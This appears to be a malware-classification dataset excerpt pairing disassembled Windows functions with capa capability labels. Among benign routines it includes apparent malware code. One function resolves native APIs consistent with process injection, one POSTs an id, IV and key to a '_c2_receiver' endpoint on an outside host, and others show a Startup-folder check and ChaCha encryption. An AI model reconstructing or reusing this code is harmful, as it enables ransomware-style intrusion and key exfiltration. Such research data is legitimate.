joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180099260
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x1800e4120]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x180099280
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x180099288
ret
cmp word [rdx + 0x18], 0x20b
jne 0x180099280
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x1800992d0
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x1800992c7
test rcx, rcx
je 0x180099280
sub rcx, 1
add rax, 0x28
cmp rdx, rax
jne 0x1800992b8
xor eax, eax
ret

Function at 0x1800992e0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1800e4120]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x1800992ff
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x180099308
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x180099320
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1800e4120]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x180099340
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x180099348
ret
cmp word [r8 + 0x18], 0x20b
jne 0x180099340
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x180099340
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x180099394
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x1800993a0
add rdx, 0x28
cmp r9, rdx
jne 0x180099380
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x1800993b0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x1800e4120]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x1800993d2
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x1800993e0
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1800993d2
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x1800993d2
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x1800993d2
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x180099435
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x180099448
add rdx, 0x28
cmp r10, rdx
jne 0x180099420
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x180099457
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x180099467
mov edx, dword [rax + 0xc]
test edx, edx
je 0x18009943e
test ecx, ecx
jg 0x180099450
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x1400110a0
Capabilities:
Link many functions at runtime

Disassembly:
jmp 0x1400180d0
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0xe8
lea rbp, [rsp + 0x20]
lea rcx, [0x14002e224]
call fcn.140011645
nop
lea rdx, str.NtCreateSection
mov rcx, qword [rbp + 0xe0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400284f0], rax
lea rdx, str.NtMapViewOfSection
mov rcx, qword [rbp + 0xe0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1400284f8], rax
lea rdx, str.NtUnmapViewOfSection
mov rcx, qword [rbp + 0xe0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140028500], rax
lea rdx, str.NtWriteVirtualMemory
mov rcx, qword [rbp + 0xe0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140028508], rax
lea rdx, str.RtlInitUnicodeString
mov rcx, qword [rbp + 0xe0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140028510], rax
lea rdx, str.RtlCreateProcessParameters
mov rcx, qword [rbp + 0xe0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140028518], rax
lea rdx, str.RtlCreateUserProcess
mov rcx, qword [rbp + 0xe0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140028520], rax
lea rdx, str.RtlCreateUserThread
mov rcx, qword [rbp + 0xe0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140028528], rax
lea rdx, str.NtWaitForSingleObject
mov rcx, qword [rbp + 0xe0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140028530], rax
lea rdx, str.NtClose
mov rcx, qword [rbp + 0xe0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140028538], rax
lea rsp, [rbp + 0xc8]
pop rdi
pop rbp
ret

Function at 0x1400110e6
Capabilities:
Terminate process

Disassembly:
jmp 0x140018080
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0xe8
lea rbp, [rsp + 0x20]
lea rcx, [0x14002e224]
call fcn.140011645
nop
cmp dword [rbp + 0xe0], 0
jge 0x1400180b4
mov ecx, 1
call qword [sym.imp.ucrtbased.dll_exit]
nop
lea rsp, [rbp + 0xc8]
pop rdi
pop rbp
ret
Function at 0x140011361
Capabilities:
Terminate process

Disassembly:
jmp 0x140018fb0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret
Function at 0x140011456
Capabilities:
Parse pe header

Disassembly:
jmp 0x14001a9b0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14001a9d0
xor al, al
jmp 0x14001aa51
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14001a9e3
xor al, al
jmp 0x14001aa51
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001aa0d
xor al, al
jmp 0x14001aa51
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x14001aa21
xor al, al
jmp 0x14001aa51
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x14001aa33
xor al, al
jmp 0x14001aa51
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001aa4f
xor al, al
jmp 0x14001aa51
mov al, 1
add rsp, 0x38
ret
Function at 0x140019cb0
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.140011681
movzx eax, al
test eax, eax
jne 0x140019cd0
mov ecx, 7
call fcn.140011537
nop
mov byte [rsp + 0x20], 0
call fcn.140011578
mov byte [rsp + 0x21], al
cmp dword [0x140028550], 1
jne 0x140019cf4
mov ecx, 7
call fcn.140011537
nop
jmp 0x140019d4c
cmp dword [0x140028550], 0
jne 0x140019d47
mov dword [0x140028550], 1
lea rdx, [0x140022770]
lea rcx, [0x140022440]
call fcn.1400112c6
test eax, eax
je 0x140019d28
mov eax, 0xff
jmp 0x140019e51
lea rdx, [0x140022330]
lea rcx, [section..rdata]
call fcn.14001155a
mov dword [0x140028550], 2
jmp 0x140019d4c
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.14001151e
call fcn.14001147e
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x140019da9
mov rcx, qword [rsp + 0x30]
call fcn.140011249
movzx eax, al
test eax, eax
je 0x140019da9
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x14002f020]
nop
call fcn.1400114c9
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x140019ddd
mov rcx, qword [rsp + 0x38]
call fcn.140011249
movzx eax, al
test eax, eax
je 0x140019ddd
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.140011618
nop
call fcn.140019ec0
mov dword [rsp + 0x28], eax
call fcn.140011456
movzx eax, al
test eax, eax
jne 0x140019dfc
mov ecx, dword [rsp + 0x28]
call fcn.14001106e
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x140019e0b
call fcn.140011631
nop
xor edx, edx
mov cl, 1
call fcn.140011226
mov eax, dword [rsp + 0x28]
jmp 0x140019e51
add rsp, 0x68
ret
Function at 0x140006150
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push rbx
push rsi
push rdi
mov eax, 0x1030
call fcn.14000a620
sub rsp, rax
mov rax, qword [0x140037008]
xor rax, rsp
mov qword [rsp + 0x1020], rax
mov rbx, rdx
mov rdi, r8
lea rdx, [0x1400254d0]
call fcn.140003b50
mov rdx, rdi
mov rcx, rbx
mov rsi, rax
call fcn.140006590
xor edi, edi
mov rbx, rax
test rsi, rsi
je 0x140006243
mov rcx, rsi
test rax, rax
je 0x14000624b
call fcn.14000c928
test eax, eax
jne 0x14000622f
nop word [rax + rax]
mov r9, rsi
lea rcx, [rsp + 0x20]
mov edx, 1
mov r8d, 0x1000
call fcn.14000cbe0
test rax, rax
jne 0x1400061ee
mov rcx, rsi
call fcn.14000c954
test eax, eax
je 0x140006214
mov rcx, rsi
jmp 0x140006225
mov r9, rbx
lea rcx, [rsp + 0x20]
mov r8, rax
mov edx, 1
call fcn.14000d108
test rax, rax
je 0x140006222
mov rcx, rbx
call fcn.14000c954
test eax, eax
jne 0x140006222
mov rcx, rsi
call fcn.14000c928
test eax, eax
je 0x1400061c0
jmp 0x14000622f
mov rcx, rbx
call fcn.140012f98
mov edi, 0xffffffff
mov rcx, rsi
call fcn.14000c8c4
mov rcx, rbx
call fcn.14000c8c4
mov eax, edi
jmp 0x140006255
test rbx, rbx
je 0x140006250
mov rcx, rbx
call fcn.14000c8c4
mov eax, 0xffffffff
mov rcx, qword [rsp + 0x1020]
xor rcx, rsp
call fcn.14000a5f0
add rsp, 0x1030
pop rdi
pop rsi
pop rbx
ret

Function at 0x140006cf0
Capabilities:
Read file on windows

Disassembly:
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x20
mov r12, rcx
mov rbp, r8
mov ecx, 0x2000
mov r14, rdx
xor r13d, r13d
call fcn.14000f970
mov r15, rax
test rax, rax
je 0x140006e03
xor edx, edx
lea r8d, [r13 + 2]
mov rcx, r12
call fcn.14000ceb0
test eax, eax
js 0x140006e03
mov rcx, r12
mov qword [rsp + 0x50], rbx
call fcn.140013518
mov rbx, rax
cmp rax, rbp
jb 0x140006dfe
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], rdi
nop dword [rax]
cmp rbx, 0x2000
lea rsi, [rbx - 0x2000]
cmovb rsi, r13
sub rbx, rsi
cmp rbx, rbp
jb 0x140006df4
xor r8d, r8d
mov rdx, rsi
mov rcx, r12
call fcn.14000ceb0
test eax, eax
js 0x140006df4
mov r9, r12
mov r8, rbx
mov edx, 1
mov rcx, r15
call fcn.14000cbe0
cmp rax, rbx
jne 0x140006df4
sub rbx, rbp
add rbx, 1
je 0x140006ddb
lea rdi, [r15 - 1]
add rdi, rbx
nop dword [rax]
nop dword [rax + rax]
mov r8, rbp
mov rdx, r14
mov rcx, rdi
call fcn.14000be10
test eax, eax
je 0x140006ded
dec rdi
sub rbx, 1
jne 0x140006dc0
lea rbx, [rbp - 1]
add rbx, rsi
test rsi, rsi
jne 0x140006d60
jmp 0x140006df4
lea r13, [rbx - 1]
add r13, rsi
mov rsi, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x50]
mov rcx, r15
call fcn.14000f95c
mov rax, r13
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
Function at 0x1400144ac
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x1400142d8
Function at 0x1400010c0
Capabilities:
Connect to http server
Create http request
Send data
Send http request

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x1e0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1d0], rax
mov eax, dword [0x1400f32c0]
xor r12d, r12d
vmovups xmm0, xmmword [str.Content_Type:_application_json]
mov dword [rsp + 0x58], eax
mov r15, r8
movzx eax, word [0x1400f32c4]
mov r14, rdx
mov word [rsp + 0x5c], ax
mov rbp, rcx
movzx eax, byte [0x1400f32c6]
mov edi, r12d
vmovups xmmword [rsp + 0x40], xmm0
vmovsd xmm0, qword [0x1400f32b8]
mov byte [rsp + 0x5e], al
mov ebx, r12d
vmovsd qword [rsp + 0x50], xmm0
mov esi, 0x41
nop dword [rax + rax]
movzx r9d, byte [rdi + rbp]
lea rcx, [rsp + 0x90]
mov rdx, rsi
lea r8, [0x1400f32c8]
sub rdx, rbx
add rcx, rbx
call fcn.140001060
add rbx, 2
lea rdi, [rdi + 1]
cmp rbx, 0x40
jb 0x140001140
mov byte [rsp + 0xd0], r12b
mov rbp, r12
mov rbx, r12
mov edi, 0x21
movzx r9d, byte [r14 + rbp]
lea rcx, [rsp + 0x60]
mov rdx, rdi
lea r8, [0x1400f32c8]
sub rdx, rbx
add rcx, rbx
call fcn.140001060
add rbx, 2
lea rbp, [rbp + 1]
cmp rbx, 0x20
jb 0x140001183
lea rax, [rsp + 0x90]
mov byte [rsp + 0x80], r12b
mov qword [rsp + 0x28], rax
lea r8, str._id_:___s____iv_:___s____key_:___s_
lea rax, [rsp + 0x60]
mov ebx, 0xeb
mov r9, r15
mov qword [rsp + 0x20], rax
mov edx, ebx
lea rcx, [rsp + 0xe0]
call fcn.140001060
xor r9d, r9d
mov dword [rsp + 0x20], r12d
xor r8d, r8d
lea rcx, str.TLD13Browser_12.0
xor edx, edx
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [rsp + 0x38], r12
lea rdx, str.xmb.pythonanywhere.com
mov dword [rsp + 0x30], r12d
mov rcx, rax
mov dword [rsp + 0x28], 3
mov r8d, 0x1bb
xor r9d, r9d
mov qword [rsp + 0x20], r12
mov r14, rax
call qword [sym.imp.WININET.dll_InternetConnectA]
mov qword [rsp + 0x38], r12
lea r8, str._c2_receiver
mov dword [rsp + 0x30], 0x80800000
lea rdx, str.POST
mov qword [rsp + 0x28], r12
mov rcx, rax
xor r9d, r9d
mov qword [rsp + 0x20], r12
mov r15, rax
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov r8, 0xffffffffffffffff
mov rbp, rax
lea rax, [rsp + 0xe0]
mov rcx, r8
inc rcx
cmp byte [rax + rcx], r12b
jne 0x140001283
lea rax, [rsp + 0x40]
inc r8
cmp byte [rax + r8], r12b
jne 0x140001291
mov dword [rsp + 0x20], ecx
lea r9, [rsp + 0xe0]
mov rcx, rbp
lea rdx, [rsp + 0x40]
call qword [sym.imp.WININET.dll_HttpSendRequestA]
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rax, [rsp + 0x90]
nop word [rax + rax]
mov byte [rax], r12b
lea rax, [rax + 1]
sub rsi, 1
jne 0x1400012e0
lea rax, [rsp + 0x60]
mov byte [rax], r12b
lea rax, [rax + 1]
sub rdi, 1
jne 0x1400012f2
lea rax, [rsp + 0xe0]
nop word [rax + rax]
mov byte [rax], r12b
lea rax, [rax + 1]
sub rbx, 1
jne 0x140001310
mov rcx, qword [rsp + 0x1d0]
xor rcx, rsp
call fcn.1400d91b0
add rsp, 0x1e0
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140001670
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x140
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x130], rax
mov rsi, rcx
lea rdi, str.C:Users_username_AppDataRoamingMicrosoftWindowsStart_MenuProgramsStartup
xor ebx, ebx
lea rcx, str.USERNAME
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov r8, qword [rdi]
lea rcx, [rsp + 0x20]
mov r9, rax
mov edx, 0x104
call fcn.140001060
lea rax, [rsp + 0x20]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1400016d0
lea rdx, [rsp + 0x20]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
je 0x1400016fb
inc ebx
add rdi, 8
cmp ebx, 3
jb 0x1400016a0
xor eax, eax
jmp 0x140001700
mov eax, 1
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.1400d91b0
lea r11, [rsp + 0x140]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x14000b350
Capabilities:
Encrypt data using salsa20 or chacha

Disassembly:
mov qword [rsp + 0x18], rbx
push rsi
sub rsp, 0x20
mov rsi, rdx
mov ebx, ecx
call fcn.1400c75a0
test eax, eax
jne 0x14000b4f7
mov qword [rsp + 0x38], r14
xor r14d, r14d
cmp byte [0x1400f2c54], r14b
mov qword [rsp + 0x30], rdi
jne 0x14000b387
mov edi, r14d
jmp 0x14000b3a3
mov ecx, 5
call qword [0x1400f2cc0]
mov rdi, rax
test rax, rax
je 0x14000b3a3
mov rcx, rax
call qword [0x1400f2cd0]
test ebx, ebx
jle 0x14000b4d8
test rsi, rsi
je 0x14000b4d8
cmp dword [0x1400fd4e0], r14d
jne 0x14000b454
xor ecx, ecx
call fcn.140006fb0
vmovups xmm0, xmmword [str.expand_32_byte_k]
vmovups xmmword [0x1400fd4e0], xmm0
test rax, rax
jne 0x14000b3f8
vpxor xmm0, xmm0, xmm0
vmovups ymmword [0x1400fd4f0], ymm0
mov qword [0x1400fd510], rax
mov dword [0x1400fd518], eax
jmp 0x14000b437
mov ecx, dword [0x1400f2e00]
test ecx, ecx
je 0x14000b425
xor eax, eax
vpxor xmm0, xmm0, xmm0
vmovups ymmword [0x1400fd4f0], ymm0
mov dword [0x1400fd4f0], ecx
mov qword [0x1400fd510], rax
mov dword [0x1400fd518], eax
jmp 0x14000b437
lea r8, [0x1400fd4f0]
mov edx, 0x2c
mov rcx, rax
call qword [rax + 0x68]
mov eax, dword [0x1400fd510]
xor cl, cl
mov byte [0x1400fd560], cl
mov dword [0x1400fd51c], eax
mov dword [0x1400fd510], r14d
jmp 0x14000b45b
movzx ecx, byte [0x1400fd560]
movzx eax, cl
lea r14, [0x1400fd520]
cmp ebx, eax
jle 0x14000b4b7
nop dword [rax]
test cl, cl
je 0x14000b492
movzx r8d, cl
mov rdx, r14
mov rcx, rsi
vzeroupper
call sub.VCRUNTIME140.dll_memcpy
movzx ecx, byte [0x1400fd560]
sub ebx, ecx
add rsi, rcx
inc dword [0x1400fd510]
lea rdx, [0x1400fd4e0]
mov rcx, r14
vzeroupper
call fcn.14000afb0
mov cl, 0x40
mov byte [0x1400fd560], cl
cmp ebx, 0x40
jg 0x14000b470
movzx eax, cl
mov rcx, rsi
sub eax, ebx
movsxd r8, ebx
movsxd rdx, eax
add rdx, r14
vzeroupper
call sub.VCRUNTIME140.dll_memcpy
sub byte [0x1400fd560], bl
jmp 0x14000b4df
mov dword [0x1400fd4e0], r14d
test rdi, rdi
je 0x14000b4ed
mov rcx, rdi
call qword [0x1400f2ce0]
mov rdi, qword [rsp + 0x30]
mov r14, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop rsi
ret
Function at 0x140047640
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push r14
push r15
sub rsp, 0x30
mov r14, rcx
mov qword [rcx], 0
mov ecx, 0x28
mov rbp, r8
mov r15, rdx
call fcn.140007940
mov rbx, rax
test rax, rax
jne 0x140047687
mov eax, 7
vzeroupper
mov rbx, qword [rsp + 0x60]
add rsp, 0x30
pop r15
pop r14
pop rbp
ret
cmp byte [0x1400f2c54], 0
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], rdi
je 0x1400476ec
mov rax, qword [0x1400f2de0]
test rax, rax
je 0x1400476b1
mov ecx, 0xc8
call rax
test eax, eax
jne 0x1400476ec
lea rsi, [rbx + 8]
mov qword [rbx + 0x10], r15
lea rdi, [rbx + 0x10]
mov qword [rsp + 0x28], rsi
mov r9, rbx
mov dword [rsp + 0x20], 0
lea r8, [0x14000b510]
mov qword [rbx + 0x18], rbp
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbx], rax
test rax, rax
jne 0x140047702
jmp 0x1400476f4
lea rdi, [rbx + 0x10]
lea rsi, [rbx + 8]
vpxor xmm0, xmm0, xmm0
xor eax, eax
vmovups ymmword [rbx], ymm0
mov qword [rbx + 0x20], rax
cmp qword [rdi], 0
mov rdi, qword [rsp + 0x58]
jne 0x140047722
vzeroupper
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov rcx, rbp
mov dword [rsi], eax
call r15
mov qword [rbx + 0x20], rax
mov rsi, qword [rsp + 0x50]
xor eax, eax
mov qword [r14], rbx
vzeroupper
mov rbx, qword [rsp + 0x60]
add rsp, 0x30
pop r15
pop r14
pop rbp
ret
Function at 0x140055c80
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push rdi
push r15
sub rsp, 0x68
mov r15, rdx
mov rdi, rcx
movzx edx, byte [rdx]
movzx eax, dl
cmp dl, 0xb0
jne 0x140055c9e
movzx eax, byte [r15 + 2]
cmp al, 0xb1
jne 0x140055ca8
mov rcx, qword [r15 + 0x20]
jmp 0x140055cb8
cmp al, 0x8a
jne 0x140055e35
mov rax, qword [r15 + 0x20]
mov rcx, qword [rax + 0x20]
movsxd rcx, dword [rcx]
cmp ecx, 1
je 0x140055e35
mov dword [r8], 0
cmp dl, 0x8a
jne 0x140055ce2
mov rdx, r15
mov rcx, rdi
add rsp, 0x68
pop r15
pop rdi
jmp fcn.140053cd0
mov eax, dword [rdi + 0x38]
mov qword [rsp + 0x60], r12
mov r12, rcx
mov qword [rsp + 0x58], r13
lea r13d, [rax + 1]
add eax, ecx
mov dword [rsp + 0x88], r13d
mov dword [rdi + 0x38], eax
test ecx, ecx
jle 0x140055e20
mov qword [rsp + 0x80], rbx
lea rcx, [0x140051d40]
mov qword [rsp + 0x90], rbp
mov edx, 2
mov qword [rsp + 0x50], r14
mov ebp, r13d
xor r14d, r14d
mov qword [rsp + 0x98], rsi
lea r13, [fcn.140051fc0]
cmp byte [rdi + 0x23], 0
mov rax, qword [r15 + 0x20]
mov rbx, qword [r14 + rax + 8]
je 0x140055d8e
mov word [rsp + 0x44], dx
mov qword [rsp + 0x20], rdi
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x30], rcx
test rbx, rbx
je 0x140055d7e
mov rdx, rbx
lea rcx, [rsp + 0x20]
call fcn.14004a780
cmp word [rsp + 0x44], 0
je 0x140055d8e
mov r8d, ebp
mov rdx, rbx
mov rcx, rdi
call fcn.140057aa0
jmp 0x140055dce
mov rsi, qword [rdi]
test rbx, rbx
je 0x140055daa
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, rsi
call fcn.140050680
mov rbx, rax
cmp byte [rsi + 0x67], 0
jne 0x140055dbe
mov r8d, ebp
mov rdx, rbx
mov rcx, rdi
call fcn.140057de0
test rbx, rbx
je 0x140055dce
mov rdx, rbx
mov rcx, rsi
call fcn.140050440
inc ebp
lea rcx, [0x140051d40]
add r14, 0x20
mov edx, 2
sub r12, 1
jne 0x140055d41
mov r14, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x98]
mov rbp, qword [rsp + 0x90]
mov rbx, qword [rsp + 0x80]
mov eax, dword [rsp + 0x88]
mov r12, qword [rsp + 0x60]
mov r13, qword [rsp + 0x58]
add rsp, 0x68
pop r15
pop rdi
ret
mov r12, qword [rsp + 0x60]
mov eax, r13d
mov r13, qword [rsp + 0x58]
add rsp, 0x68
pop r15
pop rdi
ret
mov rdx, r15
mov rcx, rdi
add rsp, 0x68
pop r15
pop rdi
jmp fcn.140057cb0
Function at 0x14005a1d0
Capabilities:
Reference sql statements

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
mov r14d, dword [rsp + 0x70]
mov ebx, r8d
mov dword [rax - 0x18], r14d
mov rbp, r9
mov qword [rax - 0x20], r9
mov rdi, rdx
mov r9, rdx
mov byte [rcx + 0x1c], 1
mov r8, rdx
mov dword [rax - 0x28], ebx
lea rdx, str.SELECT_1_FROM___w_.sqlite_master_WHERE_name_NOT_LIKE_sqliteX____ESCAPE_X_AND_sql_NOT_LIKE_create_virtual___AND_sqlite_rename_test__Q__sql__type__name___d___Q___d_NULL
mov rsi, rcx
call fcn.140063610
test ebx, ebx
jne 0x14005a239
mov r9, rbp
mov dword [rsp + 0x20], r14d
mov r8, rdi
lea rdx, str.SELECT_1_FROM_temp.sqlite_master_WHERE_name_NOT_LIKE_sqliteX____ESCAPE_X_AND_sql_NOT_LIKE_create_virtual___AND_sqlite_rename_test__Q__sql__type__name__1___Q___d_NULL
mov rcx, rsi
call fcn.140063610
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x140064020
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbx
push rsi
push rdi
push r14
sub rsp, 0x28
xor r11d, r11d
mov rdi, r8
mov ebx, r11d
mov r14, rdx
mov rsi, rcx
cmp dword [rcx + 0x28], ebx
jle 0x140064129
mov qword [rsp + 0x58], rbp
mov qword [rsp + 0x60], r12
lea r12, [0x1400fa25c]
mov qword [rsp + 0x20], r15
lea r15, [0x1400de140]
nop
mov rax, qword [rsi + 0x20]
mov r10d, ebx
xor r10d, 1
cmp ebx, 2
cmovge r10d, ebx
movsxd rcx, r10d
shl rcx, 5
mov rbp, qword [rcx + rax + 0x18]
test rdi, rdi
je 0x1400640a1
mov r8, qword [rcx + rax]
mov r9, rdi
sub r9, r8
nop dword [rax]
movzx ecx, byte [r8]
movzx eax, byte [r9 + r8]
cmp ecx, eax
jne 0x1400640dc
test ecx, ecx
jne 0x1400640ea
lea rcx, [rbp + 0x20]
xor r8d, r8d
mov rdx, r14
call fcn.14000e4f0
mov r11, qword [rax + 0x10]
test r11, r11
jne 0x1400640c0
inc ebx
cmp ebx, dword [rsi + 0x28]
jl 0x140064060
mov r12, qword [rsp + 0x60]
mov rax, r11
mov rbp, qword [rsp + 0x58]
mov r15, qword [rsp + 0x20]
add rsp, 0x28
pop r14
pop rdi
pop rsi
pop rbx
ret
movzx edx, byte [rax + r15]
movzx ecx, byte [rcx + r15]
cmp ecx, edx
jne 0x1400640ef
inc r8
jmp 0x140064090
test r10d, r10d
jne 0x1400640b9
mov r9, rdi
mov rax, r12
sub r9, r12
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [r9 + rax]
cmp edx, ecx
jne 0x140064115
test edx, edx
je 0x1400640a1
inc rax
jmp 0x140064100
movzx r8d, byte [rcx + r15]
movzx edx, byte [rdx + r15]
cmp edx, r8d
jne 0x1400640b9
inc rax
jmp 0x140064100
mov rax, r11
add rsp, 0x28
pop r14
pop rdi
pop rsi
pop rbx
ret